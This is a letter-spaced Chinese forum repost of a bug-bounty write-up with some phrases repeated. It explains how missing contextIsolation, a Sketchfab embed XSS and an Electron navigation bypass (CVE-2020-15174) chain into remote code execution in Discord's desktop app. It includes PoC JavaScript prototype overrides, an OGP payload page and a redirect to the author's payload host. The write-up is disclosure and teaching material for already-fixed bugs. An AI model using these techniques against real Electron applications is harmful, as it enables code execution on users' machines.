搜索

[16069] 2020-11-09_挖洞经验综合三个Bug实现Discord桌面应用RCE漏洞

文档创建者：s7ckTeam
浏览次数：10
最后更新：2025-01-18
2020-11-09_挖洞经验综合三个Bug实现Discord桌面应用RCE漏洞 挖 洞 经 验   |   综 合 三 个 B u g 实 现 D i s c o r d 桌 面 应 用 R C E 漏 洞 c l o u d s   F r e e B u f   2 0 2 0 - 1 1 - 0 9 本 文 讲 述 了 作 者 在 参 加 本 文 讲 述 了 作 者 在 参 加 D i s c o r d 众 测 的 过 程 中 ， 通 过 多 个 众 测 的 过 程 中 ， 通 过 多 个 b u g 的 综 合 利 用 ， 成 功 发 现 了 的 综 合 利 用 ， 成 功 发 现 了 D i s c o r d 桌 面 应 用 的 远 程 代 码 执 行 漏 洞 （ 桌 面 应 用 的 远 程 代 码 执 行 漏 洞 （ R C E ） ， 收 获 了 ） ， 收 获 了 $ 5 , 3 0 0 的 奖 励 。 的 奖 励 。 D i s c o r d   是 一 款 适 用 于 游 戏 玩 家 一 体 化 语 音 和 文 字 聊 天 的 即 时 通 信 （ I M ） 软 件 。 目 前   D i s c o r d   已 经 覆 盖   W i n d o w s 、 M a c O S 、 A n d r o i d 、 i O S 、 W i n d o w s   P h o n e 等 多 种 主 流 平 台 。 我 选 择 测 试 我 选 择 测 试 D i s c o r d 的 原 因 的 原 因 由 于 我 对 E l e c t r o n 架 构 的 A P P 漏 洞 测 试 比 较 有 经 验 ， 而 刚 好 D i s c o r d 应 用 正 是 基 于 E l e c t r o n 架 构 开 发 的 ， 且 我 也 是 一 名 D i s c o r d 用 户 ， 所 以 本 着 测 试 把 玩 的 心 态 ， 我 就 对 D i s c o r d 进 行 了 分 析 。 发 现 的 漏 洞 发 现 的 漏 洞 我 发 现 了 以 下 D i s c o r d 应 用 存 在 的 三 个 b u g ， 综 合 利 用 最 终 形 成 了 R C E 漏 洞 ： M i s s i n g   c o n t e x t I s o l a t i o n （ c o n t e x t I s o l a t i o n 功 能 未 启 用 ） X S S   i n   i f r a m e   e m b e d s （ i f r a m e 嵌 入 功 能 中 的 X S S ） N a v i g a t i o n   导 航 限 制 功 能 绕 过   ( N a v i g a t i o n   r e s t r i c t i o n   b y p a s s , C V E - 2 0 2 0 - 1 5 1 7 4 ) c o n t e x t I s o l a t i o n 功 能 未 启 用 （ 功 能 未 启 用 （ M i s s i n g   c o n t e x t I s o l a t i o n ） ） 在 测 试 E l e c t r o n 架 构 时 ， 通 常 我 会 先 检 查 B r o w s e r W i n d o w   A P I 的 选 项 ， 当 创 建 浏 览 器 窗 口 时 B r o w s e r W i n d o w   A P I 会 被 调 用 。 测 试 时 ， 我 就 在 想 ， 当 E l e c t r o n 渲 染 器 （ r e n d e r e r ） 加 载 时 ， 怎 样 的 任 意 J S 代 码 执 行 才 会 引 起 R C E ？ 虽 然 D i s c o r d 的 E l e c t r o n 架 构 并 不 是 开 源 的 ， 但 E l e c t r o n 的 J S 代 码 是 保 存 在 应 用 本 地 ， 所 以 我 是 可 以 提 取 查 看 到 的 。 通 过 本 地 J S 代 码 的 查 看 ， 我 发 现 在 A P P 主 界 面 后 台 下 ， 使 用 了 以 下 方 法 函 数 ： 从 上 述 代 码 片 段 中 ， 可 以 看 出 ， 我 们 着 重 需 要 检 查 的 是 其 中 的 n o d e I n t e g r a t i o n 和 c o n t e x t I s o l a t i o n 配 置 ， 这 里 的 n o d e I n t e g r a t i o n 都 被 配 置 为 了 f a l s e ， 且 原 先 未 修 改 版 本 的 和 c o n t e x t I s o l a t i o n 也 被 配 置 为 了 f a l s e 。 如 果 n o d e I n t e g r a t i o n 为 t r u e ， 那 么 w e b 页 面 的 J S 代 码 可 以 通 过 调 用 r e q u i r e ( ) 方 法 使 用 N o d e . j s 功 能 。 比 如 ， 在 W i n d o w s 系 统 中 执 行 以 下 计 算 器 c a l c . e x e 程 序 的 代 码 ： 而 在 D i s c o r d 这 里 ， n o d e I n t e g r a t i o n 为 f a l s e ， 所 以 我 也 不 能 调 用 r e q u i r e ( ) 去 使 用 N o d e . j s 功 能 。 然 而 ， 仍 然 存 在 一 种 访 问 N o d e . j s 功 能 的 方 法 。 接 下 来 且 听 我 慢 慢 解 释 。 D i s c o r d 中 的 另 一 重 要 功 能 c o n t e x t I s o l a t i o n 也 配 置 为 了 f a l s e ， 该 功 能 用 来 隔 离 不 信 任 的 内 容 ， 所 以 ， 如 果 你 想 消 除 R C E ， 那 么 该 功 能 就 不 应 该 配 置 为 f a l s e 。 如 果 c o n t e x t I s o l a t i o n 为 f a l s e ， 那 么 w e b 页 面 中 的 J S 可 以 影 响 E l e c t r o n 内 部 渲 染 时 的 J S 代 码 和 预 加 载 脚 本 执 行 ， （ 这 里 E l e c t r o n 内 部 渲 染 时 的 J S 代 码 指 W e b 页 面 之 外 的 J S 脚 本 ） ， 例 如 ， 假 设 用 W e b 页 面 J S 中 的 方 法 函 数 ， 把 E l e c t r o n 内 置 J S 的 方 法 A r r a y . p r o t o t y p e . j o i n 覆 盖 掉 ， 那 么 W e b 页 面 之 外 的 J S 脚 本 在 加 载 j o i n 方 法 时 ， 就 会 调 用 后 来 被 覆 盖 的 方 法 函 数 。 这 种 行 为 是 很 危 险 的 ， 因 为 这 样 一 来 ， 可 以 不 用 考 虑 n o d e I n t e g r a t i o n 配 置 ， 直 接 用 覆 盖 的 方 式 ， 就 可 以 让 E l e c t r o n 允 许 W e b 页 面 之 外 的 J S 脚 本 使 用 N o d e . j s 特 性 ， 这 种 方 式 即 使 在 n o d e I n t e g r a t i o n 配 置 为 f a l s e 的 情 况 下 ， 都 还 还 可 演 变 为 R C E 漏 洞 。 我 顺 便 提 一 下 ， 类 似 的 缺 陷 早 在 2 0 1 6 年 我 在 C u r e 5 3 公 司 时 就 已 经 发 现 了 ， 当 时 我 上 报 给 了 E l e c t r o n 安 全 团 队 ， 后 来 在 E l e c t r o n 架 构 中 就 引 入 了 c o n t e x t I s o l a t i o n 功 能 。 以 下 为 最 近 才 公 开 的 技 术 细 节 P D F ： c o n s t   m a i n W i n d o w O p t i o n s   =   {     t i t l e :   ' D i s c o r d ' ,     b a c k g r o u n d C o l o r :   g e t B a c k g r o u n d C o l o r ( ) ,     w i d t h :   D E F A U L T _ W I D T H ,     h e i g h t :   D E F A U L T _ H E I G H T ,     m i n W i d t h :   M I N _ W I D T H ,     m i n H e i g h t :   M I N _ H E I G H T ,     t r a n s p a r e n t :   f a l s e ,     f r a m e :   f a l s e ,     r e s i z a b l e :   t r u e ,     s h o w :   i s V i s i b l e ,     w e b P r e f e r e n c e s :   {         b l i n k F e a t u r e s :   ' E n u m e r a t e D e v i c e s , A u d i o O u t p u t D e v i c e s ' ,         n o d e I n t e g r a t i o n :   f a l s e ,         p r e l o a d :   _ p a t h 2 . d e f a u l t . j o i n ( _ _ d i r n a m e ,   ' m a i n S c r e e n P r e l o a d . j s ' ) ,         n a t i v e W i n d o w O p e n :   t r u e ,         e n a b l e R e m o t e M o d u l e :   f a l s e ,         s p e l l c h e c k :   t r u e     } } ; < s c r i p t >     r e q u i r e ( ' c h i l d _ p r o c e s s ' ) . e x e c ( ' c a l c ' ) ; < / s c r i p t >
h t t p s : / / d r i v e . g o o g l e . c o m / f i l e / d / 1 L S s D 9 g z O e j m Q 2 Q i p R e y M X w r _ M 0 M g 1 G M H / v i e w h t t p s : / / s p e a k e r d e c k . c o m / m a s a t o k i n u g a w a / e l e c t r o n - a b u s i n g - t h e - l a c k - o f - c o n t e x t - i s o l a t i o n - c u r e c o n - e n c o n t e x t I s o l a t i o n 功 能 的 引 入 目 的 在 于 隔 离 W e b 页 面 和 W e b 页 面 之 外 的 J S 代 码 ， 让 它 们 在 执 行 时 不 会 产 生 相 互 影 响 。 该 功 能 非 常 有 必 要 ， 因 为 如 果 存 在 不 被 信 任 的 内 容 或 操 作 ， 就 会 产 生 安 全 问 题 。 而 在 D i s c o r d 这 里 ， 该 功 能 却 被 配 置 为 f a l s e ， 被 禁 用 了 。 因 此 ， 遵 循 上 述 覆 盖 J S 脚 本 的 方 法 ， 我 对 D i s c o r d 的 此 处 缺 陷 发 起 了 测 试 。 由 于 E l e c t r o n 内 置 的 J S 代 码 在 渲 染 时 可 以 在 任 意 的 E l e c t r o n   A P P 中 执 行 ， 所 以 一 般 我 测 试 E l e c t r o n 的 R C E 时 ， 习 惯 首 先 在 渲 染 时 用 E l e c t r o n 内 置 的 J S 代 码 来 测 试 。 在 我 的 文 章 中 ， 我 写 到 了 可 以 用 E l e c t r o n 在 执 行 n a v i g a t i o n   t i m i n g 时 的 代 码 来 实 现 R C E ， 该 缺 陷 不 仅 可 以 从 代 码 中 发 现 ， 还 可 从 其 它 地 方 发 现 （ 以 后 我 会 公 布 详 细 的 P o C 实 例 ） 。 但 是 ， 由 于 目 标 应 用 不 同 的 E l e c t r o n 版 本 使 用 或 B r o w s e r W i n d o w 选 项 设 置 ， D i s c o r d 这 里 E l e c t r o n 运 行 启 动 时 ， 我 实 际 测 试 的 P o C 总 是 不 稳 定 ， 所 以 我 把 测 试 重 点 放 在 了 预 加 载 脚 本 上 。 测 试 预 加 载 脚 本 时 ， 我 发 现 D i s c o r d 应 用 曝 露 了 D i s c o r d N a t i v e . n a t i v e M o d u l e s . r e q u i r e M o d u l e ( ‘ M O D U L E - N A M E ’ ) 方 法 函 数 ， 该 函 数 功 能 在 于 可 以 通 过 其 把 一 些 模 块 功 能 调 用 到 W e b 页 面 中 去 实 现 。 然 而 ， 经 测 试 发 现 ， 我 并 不 能 有 效 地 调 用 类 似 c h i l d _ p r o c e s s 的 模 块 实 现 R C E ， 但 却 可 以 用 之 前 说 过 的 覆 盖 方 法 ， 覆 盖 掉 D i s c o r d   E l e c t r o n 中 内 置 的 J S 方 法 ， 干 扰 曝 露 模 块 的 执 行 ， 以 此 实 现 R C E 。 以 下 为 相 关 的 P o C 。 当 覆 盖 掉 D i s c o r d   E l e c t r o n 中 内 置 的 R e g E x p . p r o t o t y p e . t e s t 和 A r r a y . p r o t o t y p e . j o i n 方 法 ， 调 用 ” d i s c o r d _ u t i l s ” 模 块 中 定 义 的 g e t G P U D r i v e r V e r s i o n s 方 法 函 数 时 ， 可 以 触 发 执 行 c a l c . e x e 程 序 ： g e t G P U D r i v e r V e r s i o n s 方 法 函 数 用 来 执 行 ” e x e c a ” 库 调 用 ： 通 常 ， ” e x e c a ” 库 又 是 用 来 执 行 n v i d i a S m i P a t h 变 量 中 指 定 的 ” n v i d i a - s m i . e x e ” 显 卡 程 序 的 ， 但 由 于 覆 盖 掉 了 R e g E x p . p r o t o t y p e . t e s t   和   A r r a y . p r o t o t y p e . j o i n 方 法 ， ” e x e c a ” 库 中 n v i d i a S m i P a t h 变 量 名 即 被 覆 盖 为 了 ” c a l c ” 。 具 体 来 说 ， n v i d i a S m i P a t h 中 的 变 量 覆 盖 需 要 改 变 以 下 两 个 J S 文 件 ： h t t p s : / / g i t h u b . c o m / m o x y s t u d i o / n o d e - c r o s s - s p a w n / b l o b / 1 6 f e b 5 3 4 e 8 1 8 6 6 8 5 9 4 f d 5 3 0 b 1 1 3 a 0 2 8 c 0 c 0 6 b d d c / l i b / p a r s e . j s # L 3 6 h t t p s : / / g i t h u b . c o m / m o x y s t u d i o / n o d e - c r o s s - s p a w n / b l o b / 1 6 f e b 5 3 4 e 8 1 8 6 6 8 5 9 4 f d 5 3 0 b 1 1 3 a 0 2 8 c 0 c 0 6 b d d c / l i b / p a r s e . j s # L 5 5 到 了 这 步 ， ” n v i d i a - s m i . e x e ” 可 以 成 功 被 替 换 为 ” c a l c ” ， 那 么 接 下 来 只 需 找 到 执 行 J S 代 码 的 方 式 即 可 成 功 实 现 R C E 了 。 i f r a m e 嵌 入 功 能 中 的 嵌 入 功 能 中 的 X S S 在 我 尝 试 挖 掘 X S S 的 过 程 中 ， 我 发 现 D i s c o r d   A P P 支 持 类 似 a u t o l i n k 或 M a r k d o w n 的 功 能 ， 这 有 点 意 思 。 经 测 试 ， 如 果 D i s c o r d 用 户 交 流 信 息 中 有 视 频 帖 子 ， 如 Y o u - t u b e   U R L ， 那 么 这 里 类 似 M a r k d o w n 的 i f r a m e 嵌 入 功 能 即 可 显 示 出 视 频 播 放 器 （ v i d e o   p l a y e r ） 来 。 由 于 D i s c o r d 涉 及 到 用 户 的 各 种 社 交 交 流 信 息 ， 所 以 其 支 持 O p e n   G r a p h   P r o t o c o l （ 开 放 内 容 协 议 ） ， 如 果 用 户 交 流 信 息 中 包 含 O G P 信 息 ， 那 么 D i s c o r d 应 用 即 会 显 示 出 其 中 出 现 的 网 页 标 题 、 描 述 、 缩 略 图 和 一 些 相 关 的 视 频 内 容 。 当 用 户 交 流 信 息 中 的 视 频 U R L 链 接 被 嵌 入 到 i f r a m e 中 后 ， D i s c o r d 应 用 会 提 取 出 该 视 频 U R L 链 接 。 后 续 ， 我 无 法 查 看 到 D i s c o r d 应 用 相 关 的 i f r a m e 嵌 入 功 能 说 明 文 档 ， 就 只 好 在 其 C S P   f r a m e - s r c   指 令 中 寻 找 线 索 ， 发 现 其 采 用 了 以 下 C S P 策 略 ： 可 以 看 到 ， 其 中 列 出 了 允 许 i f r a m e 嵌 入 的 策 略 （ 如 对 Y o u - T u b e ,   T w i t c h ,   S p o t i f y 视 频 的 嵌 入 ） 。 接 下 来 ， 我 就 对 这 些 域 名 一 个 一 个 进 行 测 试 ， 希 望 在 其 中 能 在 i f r a m e 视 频 嵌 入 时 触 发 X S S 。 经 过 测 试 ， 我 发 现 域 名 s k e t c h f a b . c o m 可 以 在 i f r a m e 嵌 入 时 产 生 X S S ， 这 是 一 个 简 单 的 D O M - b a s e d   X S S 。 以 下 是 我 根 据 O G P 协 议 制 作 的 一 个 P o C ， 当 我 把 该 U R L 链 接 以 聊 天 方 式 发 送 给 另 一 位 D i s c o r d 用 户 时 ， 点 击 其 中 的 i f r a m e ， 就 会 触 发 任 意 的 J S 代 码 执 行 ： h t t p s : / / l 0 . c m / d i s c o r d _ r c e _ o g . h t m l 现 在 ， 虽 然 发 现 了 X S S ， 但 是 触 发 的 J S 代 码 却 只 能 在 i f r a m e 中 执 行 。 由 于 E l e c t r o n 不 会 把 “ W e b 页 面 之 外 的 J S 代 码 ” 加 载 进 入 i f r a m e 中 ， 所 以 即 使 我 覆 盖 了 其 i f r a m e 内 置 的 J S 方 法 ， 还 是 不 能 调 用 N o d e . j s 相 关 功 能 。 因 此 ， 要 实 现 真 正 的 R C E ， 还 需 要 跳 出 i f r a m e 限 制 ， 在 用 户 浏 览 内 容 层 面 去 考 虑 。 这 就 需 要 在 i f r a m e 框 架 中 创 建 一 个 新 窗 口 ， 或 是 从 i f r a m e 中 导 航 （ n a v i g a t i n g ） 到 另 一 U R L 中 的 顶 层 窗 口 。 R e g E x p . p r o t o t y p e . t e s t = f u n c t i o n ( ) {         r e t u r n   f a l s e ; } A r r a y . p r o t o t y p e . j o i n = f u n c t i o n ( ) {         r e t u r n   " c a l c " ; } D i s c o r d N a t i v e . n a t i v e M o d u l e s . r e q u i r e M o d u l e ( ' d i s c o r d _ u t i l s ' ) . g e t G P U D r i v e r V e r s i o n s ( ) ; m o d u l e . e x p o r t s . g e t G P U D r i v e r V e r s i o n s   =   a s y n c   ( )   = >   {     i f   ( p r o c e s s . p l a t f o r m   ! = =   ' w i n 3 2 ' )   {         r e t u r n   { } ;     }     c o n s t   r e s u l t   =   { } ;     c o n s t   n v i d i a S m i P a t h   =   ` $ { p r o c e s s . e n v [ ' P r o g r a m W 6 4 3 2 ' ] } / N V I D I A   C o r p o r a t i o n / N V S M I / n v i d i a - s m i . e x e ` ;     t r y   {         r e s u l t . n v i d i a   =   p a r s e N v i d i a S m i O u t p u t ( a w a i t   e x e c a ( n v i d i a S m i P a t h ,   [ ] ) ) ;     }   c a t c h   ( e )   {         r e s u l t . n v i d i a   =   { e r r o r :   e . t o S t r i n g ( ) } ;     }     r e t u r n   r e s u l t ; } ; C o n t e n t - S e c u r i t y - P o l i c y :   [ . . . ]   ;   f r a m e - s r c   h t t p s : / / * . y o u - t u b e . c o m   h t t p s : / / * . t w i t c h . t v   h t t p s : / / o p e n . s p o t i f y . c o m   h t t p s : / / w . s o u n d c l o u d . c o m   h t t p s : / / s k e t c h f a b . c o m   h t t p s : / / p l a y e r . v i m e o . c o m   h t t p s : / < h e a d >         < m e t a   c h a r s e t = " u t f - 8 " >         < m e t a   p r o p e r t y = " o g : t i t l e "   c o n t e n t = " R C E   D E M O " >         [ . . . ]         < m e t a   p r o p e r t y = " o g : v i d e o : u r l "   c o n t e n t = " h t t p s : / / s k e t c h f a b . c o m / m o d e l s / 2 b 1 9 8 2 0 9 4 6 6 d 4 3 3 2 8 1 6 9 d 2 d 1 4 a 4 3 9 2 b b / e m b e d " >         < m e t a   p r o p e r t y = " o g : v i d e o : t y p e "   c o n t e n t = " t e x t / h t m l " >         < m e t a   p r o p e r t y = " o g : v i d e o : w i d t h "   c o n t e n t = " 1 2 8 0 " >         < m e t a   p r o p e r t y = " o g : v i d e o : h e i g h t "   c o n t e n t = " 7 2 0 " > < / h e a d >
经 过 对 相 关 代 码 的 分 析 ， 我 发 现 N a v i g a t i o n   r e s t r i c t i o n （ 导 航 限 制 ） 的 主 要 代 码 中 用 到 了 ” n e w - w i n d o w ”   和   “ w i l l - n a v i g a t e ” 两 个 事 件 ： 只 要 突 破 这 里 ， 就 可 以 在 i f r a m e 框 架 中 创 建 一 个 新 窗 口 ， 或 是 从 i f r a m e 中 导 航 （ n a v i g a t i n g ） 到 另 一 U R L 中 的 顶 层 窗 口 。 然 而 ， 这 里 存 在 着 一 个 让 我 完 全 意 想 不 到 的 缺 陷 。 N a v i g a t i o n   r e s t r i c t i o n   b y p a s s   ( 导 航 限 制 功 能 绕 过 ， 导 航 限 制 功 能 绕 过 ， C V E - 2 0 2 0 - 1 5 1 7 4 ) 在 我 对 导 航 限 制 相 关 代 码 进 行 检 查 过 程 中 ， 我 本 认 为 i f r a m e 对 导 航 （ n a v i g a t i o n ） 应 该 是 有 限 制 的 ， 但 我 惊 奇 地 发 现 ， i f r a m e 不 知 怎 的 对 导 航 机 制 竟 然 没 有 限 制 。 我 本 来 想 着 ， ” w i l l - n a v i g a t e ” 事 件 和 p r e v e n t D e f a u l t ( ) 会 在 导 航 动 作 绕 过 发 生 之 前 进 行 相 关 的 捕 捉 或 拦 截 ， 但 是 这 却 没 有 。 为 了 进 行 导 航 绕 过 测 试 ， 我 创 建 了 一 个 简 单 的 E l e c t r o n 应 用 ， 然 后 发 现 ， 顶 部 导 航 （ t o p   n a v i g a t i o n ） 中 的 ” w i l l - n a v i g a t e ”   事 件 并 不 会 从 i f r a m e 中 跳 出 ， 具 体 来 说 ， 如 果 顶 部 导 航 的 所 属 域 和 i f r a m e 的 所 属 域 相 同 ， ” w i l l - n a v i g a t e ”   事 件 会 跳 出 ， 否 则 就 不 会 跳 出 。 这 并 不 是 一 种 合 乎 常 理 的 操 作 行 为 ， 而 是 个 B u g 。 有 了 这 个 B u g ， 我 就 能 绕 过 导 航 限 制 了 。 最 后 ， 我 要 做 的 就 是 ， 导 航 到 可 以 触 发 X S S 的 i f r a m e 页 面 ， 然 后 在 其 中 包 含 进 R C E   P a y l o a d 代 码 。 t o p . l o c a t i o n = ” / / l 0 . c m / d i s c o r d _ c a l c . h t m l ” 最 终 ， 综 合 利 用 以 上 三 个 B u g ， 我 成 功 在 D i s c o r d 应 用 中 实 现 的 远 程 代 码 执 行 （ R C E ） 。 P O C 视 频 ： h t t p s : / / t i n y u r l . c o m / y 5 n x 6 z j y 漏 洞 处 理 漏 洞 处 理 我 通 过 D i s c o r d 众 测 项 目 上 报 了 这 三 个 漏 洞 ， 之 后 ， D i s c o r d 安 全 团 队 禁 用 了 S k e t c h f a b 的 嵌 入 功 能 ， 然 后 在 i f r a m e 中 加 入 了 沙 箱 功 能 防 止 导 航 限 制 绕 过 ， 同 时 启 用 了 c o n t e x t I s o l a t i o n 功 能 。 我 因 此 收 获 了 $ 5 , 0 0 0 的 漏 洞 奖 励 。 h t t p s : / / g i t h u b . c o m / e l e c t r o n / e l e c t r o n / s e c u r i t y / a d v i s o r i e s / G H S A - 2 q 4 g - w 4 7 c - 4 6 7 4 另 外 ， 其 中 的 X S S 漏 洞 上 报 给 S k e t c h f a b 后 ， 收 获 了 S k e t c h f a b 奖 励 的 $ 3 0 0 ； ” w i l l - n a v i g a t e ” 事 件 B u g 上 报 给 E l e c t r o n 后 ， 被 分 配 了 C V E - 2 0 2 0 - 1 5 1 7 4 的 漏 洞 编 号 。 参 考 来 源 ： 参 考 来 源 ： h t t p s : / / m k s b e n . l 0 . c m / 2 0 2 0 / 1 0 / d i s c o r d - d e s k t o p - r c e . h t m l 精 彩 推 荐 精 彩 推 荐 阅 读 原 文 m a i n W i n d o w . w e b C o n t e n t s . o n ( ' n e w - w i n d o w ' ,   ( e ,   w i n d o w U R L ,   f r a m e N a m e ,   d i s p o s i t i o n ,   o p t i o n s )   = >   {     e . p r e v e n t D e f a u l t ( ) ;     i f   ( f r a m e N a m e . s t a r t s W i t h ( D I S C O R D _ N A M E S P A C E )   & &   w i n d o w U R L . s t a r t s W i t h ( W E B A P P _ E N D P O I N T ) )   {         p o p o u t W i n d o w s . o p e n O r F o c u s W i n d o w ( e ,   w i n d o w U R L ,   f r a m e N a m e ,   o p t i o n s ) ;     }   e l s e   {         _ e l e c t r o n . s h e l l . o p e n E x t e r n a l ( w i n d o w U R L ) ;     } } ) ; [ . . . ] m a i n W i n d o w . w e b C o n t e n t s . o n ( ' w i l l - n a v i g a t e ' ,   ( e v t ,   u r l )   = >   {     i f   ( ! i n s i d e A u t h F l o w   & &   ! u r l . s t a r t s W i t h ( W E B A P P _ E N D P O I N T ) )   {         e v t . p r e v e n t D e f a u l t ( ) ;     } } ) ;
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理